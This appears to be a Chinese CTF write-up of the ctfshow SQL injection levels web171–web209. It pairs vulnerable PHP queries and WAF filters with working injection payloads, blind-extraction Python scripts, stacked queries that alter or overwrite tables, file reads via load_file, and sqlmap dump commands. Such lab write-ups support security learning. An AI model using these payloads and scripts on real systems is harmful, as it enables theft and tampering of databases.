WEB入门——sql注入
web171
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
加个注释符:
1'--+
用order by语句测试有多少列,逐步缩小数字。3列的时候正确回显了数据,说明只有三列:
1' order by 4 --+
1' order by 3 --+
用union语句来连接查询
1.查询数据库:
-1' union select database(),2,3 --+

返回数据库名:ctfshow_web
2.查询表:
-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema="ctfshow_web" --+

返回表名:ctfshow_user
3.查询列
-1' union select group_concat(column_name),2,3 from information_schema.columns where table_name="ctfshow_user"--+

返回列名:id,username,password
4.查询行
-1' union select password,2,3 from ctfshow_user--+

web172
查询语句
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑:
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}
过程:
1' order by 2 --+
-1' union select database(),2 --+
-1' union select group_concat(table_name),2 from information_schema.tables where table_schema="ctfshow_web" --+
返回:ctfshow_user,ctfshow_user2
-1' union select group_concat(column_name),2 from information_schema.columns where table_name="ctfshow_user"--+
-1' union select password,2 from ctfshow_user--+
没有
-1' union select password,2 from ctfshow_user2--+
有了
解释:
web173
1' order by 3 --+
-1' union select password,2,3 from ctfshow_user3--+
web174
返回逻辑
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
如果有数字或者flag他就不给回显
1' order by 2 --+
用"a"替代之前的数字2
-1' union select database(),"a" --+
返回:ctfshow_web
思路1:替代
1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from information_schema.tables where table_schema="ctfshow_web" --+
返回:ctfshow_userD
1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(column_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from information_schema.columns where table_name="ctfshow_user4" --+
返回:id,username,password
1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+
flag在password里面:ctfshow{aFBcGaII-fFIE-DAJc-aDCc-fcGJaGAfJaEb}
将里面的数字用大写的英文代替
还原
str_flag = (input("输入"))
replace_flag = {'A': '1','B': '2','C': '3','D': '4','E': '5','F': '6','G': '7','H': '8','I': '9','J': '0'}
for i,k in replace_flag.items():
str_flag = str_flag.replace(i,k)
print(str_flag)
思路2:
二分法布尔盲注:
import requests
url = 'http://681aaaba-d6b2-4b8f-b8f2-e7987d0b74e3.challenge.ctf.show/api/v4.php'
flag = ''
for i in range(60):
lenth = len(flag)
min,max = 32,128
while True:
j = min + (max-min)//2
if(min == j):
flag += chr(j)
print(flag)
break
payload = f"?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),{i},1))<{j},'True','False') --+"
r = requests.get(url=url+payload).text
if('True' in r):
max = j
else:
min = j
web175
查询语句
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
难点:把ascii码表中全部字符给禁了,因为过滤了\x00到\x7f,完全没有办法输出字符
解决:
思路1:时间盲注
import time
import requests
url = 'http://5adcc7d3-c4d3-440a-8f3e-a4b93e6b61e4.challenge.ctf.show/api/v5.php'
flag = ''
for i in range(60):
lenth = len(flag)
min,max = 32,128
while True:
j = min + (max-min)//2
if(min == j):
flag += chr(j)
print(flag)
break
payload = f"?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),{i},1))<{j},sleep(0.5),'False') --+"
start_time = time.time()
r = requests.get(url=url+payload).text
end_time = time.time()
sub = end_time - start_time
if(sub >= 0.5):
max = j
else:
min = j
思路2:数据通过重定向的方式带到网站根目录
-1' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/flag.txt' --+
web176
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}
1' order by 3--+
先测试出来3行
难点:过滤了小写的select
解决:改成大写的:
1' union Select database(),2,3 --+
-1' union Select password,2,3 from ctfshow_user--+
web177
难点:过滤了空格
解决:用/**/,注释用#的url编码%23
-1'/**/union/**/select/**/password,2,3/**/from/**/ctfshow_user%23
web178
难点:不让用/**/
解决:用%09绕过
-1'%09union%09select%09password,2,3%09from%09ctfshow_user%23
web179
难点:不让用%09
解决:%0c来代替空格
-1'%0cunion%0cselect%0cpassword,2,3%0cfrom%0cctfshow_user%23
web180
难点:已知的能用的绕过空格方法都给过滤了
解决:用运算符方式构造万能密码
'or(id=26)and'1'='1
解析:
payload放入查询语句就是
where username !='flag' and id = ''or(id=26)and'1'='1' limit 1;";
然后因为flag的id是26,and的优先级比or高,上面的payload相当于
(username !='flag' and id = '') or (id=26and'1'='1')

web181
返回逻辑:
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}
'or(id=26)and'1'='1
web182
返回逻辑:
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}
'or(id=26)and'1'='1
web183
查询语句:
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";
返回逻辑:
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
查询结果:
//返回用户表的记录总数
$user_count = 0;
难点:过滤了=,or
返回值为22,说明有22行数据

解决:
空格的话用括号扩住来让语句正常执行
=用like来替代,用where和%来匹配数据
POST:
tableName=(ctfshow_user)where(pass)like'ctfshow%'
返回:1
import requests
import urllib3
urllib3.disable_warnings()
url = "https://147eb4bf-8813-4515-bcff-a253596b959e.challenge.ctf.show/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0, 666):
for j in str:
data = {"tableName": "(ctfshow_user)where(pass)like'{0}%'".format(flag + j)}
res = requests.post(url=url, data=data,verify=0)
if "$user_count = 1" in res.text:
flag += j
print(flag)
if j == "}":
exit()
break
web184
查询语句
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";
返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
查询结果
//返回用户表的记录总数
$user_count = 0;
难点:过滤了where、单引号、双引号
解决:
用"right join"右连接来把两个表连接起来进行查询pass字段
以右边的表为主,左边的表能匹配就加上,匹配不到就留空
后面的单引号可以用16进制编码绕过
ctfshow% 16进制编码后--> 0x63746673686f7725
POST:
tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686f7725
import requests
import binascii
import urllib3
urllib3.disable_warnings()
def to_hex(s):
# 字符串转16进制
str_16 = binascii.b2a_hex(s.encode('utf-8'))
str_16 = bytes.decode(str_16)
res = str_16.replace("b'", "").replace("'", "")
return res
url = "https://06b853c3-695a-4e00-9c82-f68dbf84f1a9.challenge.ctf.show/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0, 666):
for j in str:
result = "0x" + to_hex(flag + j + "%")
data = {"tableName": "ctfshow_user as a right join ctfshow_user as b on b.pass like {0}".format(result)}
res = requests.post(url=url, data=data,verify=0)
if "$user_count = 43" in res.text:
flag += j
print(flag)
if j == "}":
exit()
break
web185
返回逻辑
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
难点:[0-9]没了
解决:构造出数字
在mysql中,sql语句true为1,true+true=2,所以通过相加,任何字母我们都可以构造出来
用concat()将字母拼接起来
import requests
import urllib3
urllib3.disable_warnings()
def createNum(n):
str = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
str += "+true"
return str
#把每一个字符转换成ascii码对应的数值
def change_str(s):
str=""
str+="chr("+createNum(ord(s[0]))+")"
for i in s[1:]:
str+=",chr("+createNum(ord(i))+")"
return str
url = "https://fd965c26-5c3e-4a37-bbfa-edea1ced9488.challenge.ctf.show/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
for j in str:
result = change_str(flag + j + "%")
data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({0}))".format(result)}
res = requests.post(url=url, data=data,verify=0)
if "$user_count = 43;" in res.text:
flag += j
print(flag)
if j=="}":
exit()
break
web186
返回逻辑:
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
上一道题的脚本还是可以用
web187
查询语句:
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
返回逻辑:
$username = $_POST['username'];
$password = md5($_POST['password'],true);
//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}
md5()函数这里,后面用了参数true,返回的是一个16位二进制
解决:ffifdyop
ffifdyop在md5之后的值是276f722736c95d99e921722cf9ed621c,而这串进行hex之后'or'6É].é!r,ùíb.
会返回引号闭合和or并且后面是一些不可见字符,在mysql中进行布尔判断的时候,只要是数字开头就会被当作true,结果也就是
password=''or true
注意:
在mysql里面,在用作布尔型判断时,以数字开头的字符串会被当做整型数。
要注意的是这种情况是必须要有单引号括起来的
比如password='xxx' or '1xxxxxxxxx',那么就相当于password='xxx' or 1 ,也就相当于password='xxx' or true,所以返回值就是true
当然如果只有数字的话,就不需要单引号,比如password='xxx' or 1,那么返回值也是true
POST:
username=admin&password=ffifdyop
web188
查询语句:
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";
返回逻辑:
//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}
解决:
POST:
username=0&password=0
解释:
传的是数字,比如 username=0,SQL 就是:
select pass from ctfshow_user where username = 0
MySQL 在字符串和数字比较时,会尝试把字符串转成数字:
'admin'→ 转成数字?开头是字母 → 转为 0'test123'→ 开头是字母 → 0'123abc'→ 开头是数字 → 123'0xyz'→ 0
所有以非数字开头的字符串,在与数字比较时,都会被转换成 0!
于是$ row['pass']就会是第一条匹配记录的密码
密码验证是弱类型比较:
if( $ row['pass'] == intval( $ password)) {
// 登录成功,返回 flag
}
intval( $ password) → 0
$ row['pass'] 是类似 'ctfshow{...}' 的字符串,是以字母开头的数据
'ctfshow{...}' == 0
成功通过!
web189
查询语句:
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";
返回逻辑:
//用户名检测
if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
题目给了flag在/api/index.php中
这里用到的函数的load_file(),用法一般是select load_file(xxxx)
LOAD_FILE(file_name):读取文件并返回文件内容为字符串
要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限
regexp:mysql中的正则表达式操作符
这里就用load_file配合regexp来进行盲注,如果正则匹配到了,说明我们的第flag+str(j)是正确的,以此来得到flag,密码还是用0
容易想到默认路径是/var/www/html/api/index.php
import requests
url = "http://6b192ef2-4913-4e4f-9236-28fae52729a9.challenge.ctf.show/api/index.php"
all_str = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag = "ctfshow{"
for i in range(200):
for j in all_str:
data = {
"username":"if(load_file('/var/www/html/api/index.php')regexp('{0}'),0,1)".format(flag + j),
'password':0
}
res = requests.post(url=url, data=data, verify=0)
if r"\u5bc6\u7801\u9519\u8bef" in res.text:
flag +=j
print(flag)
break
if j=='}':
exit()
解释:
if r"\u5bc6\u7801\u9519\u8bef" in res.text:
判断 HTTP 响应内容(res.text)中是否包含字符串密码错误
web190
查询语句
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
返回逻辑
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪
难点:没api/index.php,无法通过load_file()直接读到 flag
解决:
import requests
url = 'http://97c72159-2ef5-43c6-84a4-3c12050f00f9.challenge.ctf.show/api/'
flag = ''
for i in range(100):
lenth = len(flag)
min = 32
max = 128
while True:
j = min + (max - min) // 2
if (min == j):
flag += chr(j)
print(flag)
if (len(flag) > 2 and chr(j) == ' '):
exit()
break
payload = f"' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},1,0)-- -" # 取表名
data = {'username': payload
, 'password': 114514}
r = requests.post(url=url, data=data).text
if (r'\u5bc6\u7801\u9519\u8bef' in r):
max = j
else:
min = j
返回:
ctfshow_fl0g,ctfshow_user
换payload:
payload = f""" ' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="ctfshow_fl0g"),{i},1))<{j},1,0)-- -"""
返回:
id,f1ag
换payload:
payload = f""" ' or if(ascii(substr((select f1ag from ctfshow_fl0g),{i},1))<{j},1,0)-- -"""
返回结果
解析:
整个 WHERE 条件变成:
WHERE username = '' OR 1-- - → 条件为真,查到用户
WHERE username = '' OR 0-- - → 条件为假,查不到用户
web191
查询语句
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
返回逻辑
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
难点:过滤了ascii
解决:用ord
import requests
url = 'http://d2e13eca-50a0-4b28-b5c5-eb9bb9e4f508.challenge.ctf.show/api/'
flag = ''
for i in range(100):
lenth = len(flag)
min = 32
max = 128
while True:
j = min + (max-min)//2
if(min == j):
flag += chr(j)
print(flag)
if(len(flag) > 2 and chr(j) == ' '):
exit()
break
payload=f"' or if(ord(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1))<{j},1,0)-- -"
data = {'username':payload
,'password':114514}
r = requests.post(url=url,data=data).text
if(r'\u5bc6\u7801\u9519\u8bef' in r):
max = j
else:
min = j
web192
查询语句:
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
返回逻辑:
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
难点:过滤了ord
解决:用regexp
import requests
url = "http://bb1977d3-8d8f-4291-8732-8b60a90804bc.challenge.ctf.show/api/"
flag = ""
all_str = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
for i in range(1,99):
for j in all_str:
payload = "select group_concat(f1ag) from ctfshow_fl0g"
username_data = f"admin' and if(substr(({payload}), {i}, 1)regexp('{j}'), 1, 0)=1#"
data = {'username': username_data,
'password': 1}
res = requests.post(url=url, data=data, verify=False)
if "密码错误" in res.json()['msg']:
flag += j
print(flag)
break
if j == "}":
exit()
web193
查询语句:
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
返回逻辑:
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
难点:过滤了substr
解决:用正则来写,代码中的^代表从第一位开始匹配
import requests
url = "http://9f7987ef-d86e-44fc-a719-46ddb6f476c6.challenge.ctf.show/api/"
flag = ""
all_str = "0123456789abcdefghijklmnopqrstuvwxyz-,_{}"
for i in range(1,99):
for j in all_str:
#payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'" payload = "select group_concat(f1ag) from ctfshow_flxg"
username_data = "admin' and if(({0})regexp('^{1}'), 1, 0)=1#".format(payload, flag + j)
data = {'username': username_data,
'password': 1}
res = requests.post(url=url, data=data,verify=0)
if "密码错误" in res.json()['msg']:
flag += j
print(flag)
break
if j == "}":
exit()
web194
查询语句
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
返回逻辑
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
正则没有被过滤
用上一题脚本
import requests
url = "http://9f7987ef-d86e-44fc-a719-46ddb6f476c6.challenge.ctf.show/api/"
flag = ""
all_str = "0123456789abcdefghijklmnopqrstuvwxyz-,_{}"
for i in range(1,99):
for j in all_str:
#payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'" payload = "select group_concat(f1ag) from ctfshow_flxg"
username_data = "admin' and if(({0})regexp('^{1}'), 1, 0)=1#".format(payload, flag + j)
data = {'username': username_data,
'password': 1}
res = requests.post(url=url, data=data,verify=0)
if "密码错误" in res.json()['msg']:
flag += j
print(flag)
break
if j == "}":
exit()
web195
堆叠注入
分号;是用来表示一条sql语句的结束,而如果在一条sql语句结束后继续构造下一条sql语句,也会一起执行,从而产生了堆叠注入
查询语句
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";
返回逻辑
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
难点:把空格给过滤了
解决:采取反引号的方式执行
题目给出说明只要登录成功就可以获得flag,可以考虑使用update方法把数据库中的密码都更新成自己指定的密码,从而登录获取flag
0x61646d696e;update`ctfshow_user`set`pass`=123456
解释:
SQL 语句中$username没有被单引号包裹,直接拼接,所以传字符串必须“合法”
十六进制 0x... 是 MySQL 中表示字符串的合法方式,且无需引号

web196
查询语句:
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";
返回逻辑:
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|se1ect|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if(strlen($username)>16){
$ret['msg']='用户名不能超过16个字符';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
解决:
username = 66;select(1111)
password = 1111
解释:
因为库中没有用户名为66的用户,所以查询后会返回后面的语句结果1111
1.第一条查不到数据
2.第二条 SELECT (1111) 返回了 1111
3.所以 $row = mysqli_fetch_row($result) 得到的是 [1111]
4.因此 $row[0] = 1111
我上传的 password = 1111,于是if (1111 == 1111) → true → 登录成功,返回 flag!
web197
查询语句:
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";
返回逻辑:
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
解决:
思路1:
username = 66;show tables
password = ctfshow_user
思路2:
username = 1;alter table `ctfshow_user` change `pass` `feng` varchar(255); alter table `ctfshow_user` change `id` `pass` varchar(255)
SELECT pass FROM ctfshow_user WHERE username = 1;
→ 可能查不到用户(无所谓)ALTER TABLE ctfshow_user CHANGE pass feng varchar(255);
→ 把原来的密码字段pass重命名为fengALTER TABLE ctfshow_user CHANGE id pass varchar(255);
→ 把原来的id字段 重命名为pass
假设原表结构是:
id | username | pass
--------|----------|-----------
1 | admin | ctfshow{...}
执行后变成:
pass | username | feng
--------|----------|-----------
1 | admin | ctfshow{...}
然后username = 0(匹配数据库中所有“以字母开头”的用户名)
password从1开始爆破,9可以了
思路3:
username = 0;insert ctfshow_user (username,pass)values(123,666)
然后用123和666登录
web198
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
依然可用上题payload打
username = 66;show tables
password = ctfshow_user
web199
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
难点:过滤了(
username = 66;show tables
password = ctfshow_user
web200
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}
难点:过滤了,
username = 66;show tables
password = ctfshow_user
sqlmap的使用
web201
sqlmap的使用
考点:
1.使用--user-agent 指定agent
2.使用--referer 绕过referer检查
解决:
设置 HTTP 请求头中的 Referer 字段为 ctf.show 绕过referer检查
查数据库名:
sqlmap -u "http://1b46005d-5008-4cf9-a958-8e6d570bfc68.challenge.ctf.show/api/?id=1" --referer="ctf.show" --dbs
返回
[03:11:16] [INFO] fetching database names
available databases [5]:
[*] ctfshow_web
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
查表名:
sqlmap -u "http://1b46005d-5008-4cf9-a958-8e6d570bfc68.challenge.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web --tables
返回:
[03:16:31] [INFO] fetching tables for database: 'ctfshow_web'
Database: ctfshow_web
[1 table]
+--------------+
| ctfshow_user |
+--------------+
查列名:
sqlmap -u "http://1b46005d-5008-4cf9-a958-8e6d570bfc68.challenge.ctf.show/api/?id=1" \
--referer="ctf.show" \
-D ctfshow_web \
-T ctfshow_user \
--columns
返回:
[03:17:56] [INFO] fetching columns for table 'ctfshow_user' in database 'ctfshow_web'
Database: ctfshow_web
Table: ctfshow_user
[3 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int(11) |
| pass | varchar(255) |
| username | varchar(255) |
+----------+--------------+
导出整张表的数据:
dump出所有行的内容
sqlmap -u "http://1b46005d-5008-4cf9-a958-8e6d570bfc68.challenge.ctf.show/api/?id=1" \
--referer="ctf.show" \
-D ctfshow_web \
-T ctfshow_user \
--dump
只dumppass:
sqlmap -u "http://1b46005d-5008-4cf9-a958-8e6d570bfc68.challenge.ctf.show/api/?id=1" \
--referer="ctf.show" \
-D ctfshow_web \
-T ctfshow_user \
-C pass \
--dump
web202
使用--data 调整sqlmap的请求方式
sqlmap -u "https://b7e0a3b0-a336-4249-a724-aec9b9f46713.challenge.ctf.show/api/" \
--data="id=1"\
--referer="ctf.show" \
-D ctfshow_web \
-T ctfshow_user \
-C pass \
--dump
web203
使用--method 调整sqlmap的请求方式
后端只在 index.php 中处理 PUT 请求并存在 SQL 注入点
要设置Content-Type头,否则提交会变成表单提交
sqlmap -u "http://d7956bf1-4fbb-4a8c-a9e1-43ca3ac9e6fc.challenge.ctf.show/api/index.php" \
--method="PUT" \
--data="id=1" \
--referer="ctf.show" \
--headers="Content-Type: text/plain" \
-D ctfshow_web \
-T ctfshow_user \
-C pass \
--dump
web204
使用--cookie 提交cookie数据
sqlmap -u "http://82a37c45-380b-4412-a7c5-e46d3f9ea043.challenge.ctf.show/api/index.php" \
--method="PUT" \
--data="id=1" \
--referer="ctf.show" \
--headers="Content-Type: text/plain" \
--cookie="PHPSESSID=v4bm1ikv8b8n91a7e4egnabb4j; ctfshow=ae9b4d1a0268f69143d7480b6e0b2d13" \
-D ctfshow_web \
-T ctfshow_user \
-C pass \
--dump
web205
api调用需要鉴权
每次请求api的时候首先会去请求一次getToken.php

解决:
sqlmap中提供了以下两个参数
--safe-url提供一个安全不错误的连接,每隔一段时间都会去访问一下
--safe-freq提供一个安全不错误的连接,设置每次注入测试前访问安全链接的次数
sqlmap -u "http://6cef770a-6e22-483e-8af3-44d497f15f3f.challenge.ctf.show/api/index.php" \
--method="PUT" \
--data="id=1" \
--referer="ctf.show" \
--headers="Content-Type: text/plain" \
--cookie="PHPSESSID=eqjcnpiek7hn1a0h541r3aeife; ctfshow=ae9b4d1a0268f69143d7480b6e0b2d13" \
--safe-url="http://6cef770a-6e22-483e-8af3-44d497f15f3f.challenge.ctf.show/api/getToken.php" \
--safe-freq=1 \
-D ctfshow_web \
-T ctfshow_flax \
-C flagx \
--dump
web206
sql需要闭合
直接用之前代码
sqlmap -u "http://09bc93ac-eee0-434a-80ea-ede2d58e3dcc.challenge.ctf.show/api/index.php" \
--method="PUT" \
--data="id=1" \
--referer="ctf.show" \
--headers="Content-Type: text/plain" \
--cookie="PHPSESSID=eqjcnpiek7hn1a0h541r3aeife; ctfshow=ae9b4d1a0268f69143d7480b6e0b2d13" \
--safe-url="http://09bc93ac-eee0-434a-80ea-ede2d58e3dcc.challenge.ctf.show/api/getToken.php" \
--safe-freq=1 \
-D ctfshow_web \
-T ctfshow_flaxc \
-C flagv \
--dump
web207
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ /', $str);
}
需要把一个绕waf的脚本,里面的空格,改成绕空格的,比如%09?
sqlmap tamper脚本
本题,过滤了空格,可以使用tamper文件夹下的space2comment.py文件
space2comment.py 用/**/代替空格
sqlmap -u "http://e70b117d-228c-4554-8d64-dff6c93d2f25.challenge.ctf.show/api/index.php" \
--method="PUT" \
--data="id=1" \
--referer="ctf.show" \
--headers="Content-Type: text/plain" \
--cookie="PHPSESSID=eqjcnpiek7hn1a0h541r3aeife; ctfshow=ae9b4d1a0268f69143d7480b6e0b2d13" \
--safe-url="http://e70b117d-228c-4554-8d64-dff6c93d2f25.challenge.ctf.show/api/getToken.php" \
--safe-freq=1 \
--tamper=space2comment \
-D ctfshow_web \
-T ctfshow_flaxca \
-C flagvc \
--dump
web208
返回逻辑
//对传入的参数进行了过滤
$id = str_replace('select', '', $id);
function waf($str){
return preg_match('/ /', $str);
}
这里只是过滤了小写的select,而sqlmap跑的payload一般都是大写的SELECT,所以继续用上一题我们写的tamper脚本即可
sqlmap -u "http://b459b3b0-9632-4e4b-91a8-86aee0dd49c8.challenge.ctf.show/api/index.php" \
--method="PUT" \
--data="id=1" \
--referer="ctf.show" \
--headers="Content-Type: text/plain" \
--cookie="PHPSESSID=eqjcnpiek7hn1a0h541r3aeife; ctfshow=ae9b4d1a0268f69143d7480b6e0b2d13" \
--safe-url="http://b459b3b0-9632-4e4b-91a8-86aee0dd49c8.challenge.ctf.show/api/getToken.php" \
--safe-freq=1 \
--tamper=space2comment \
-D ctfshow_web \
-T ctfshow_flaxcac \
-C flagvca \
--dump
web209
//对传入的参数进行了过滤
function waf($str){
//TODO 未完工
return preg_match('/ |\*|\=/', $str);
}
难点:多过滤了*和=符号
解决:修改脚本,用%09绕过
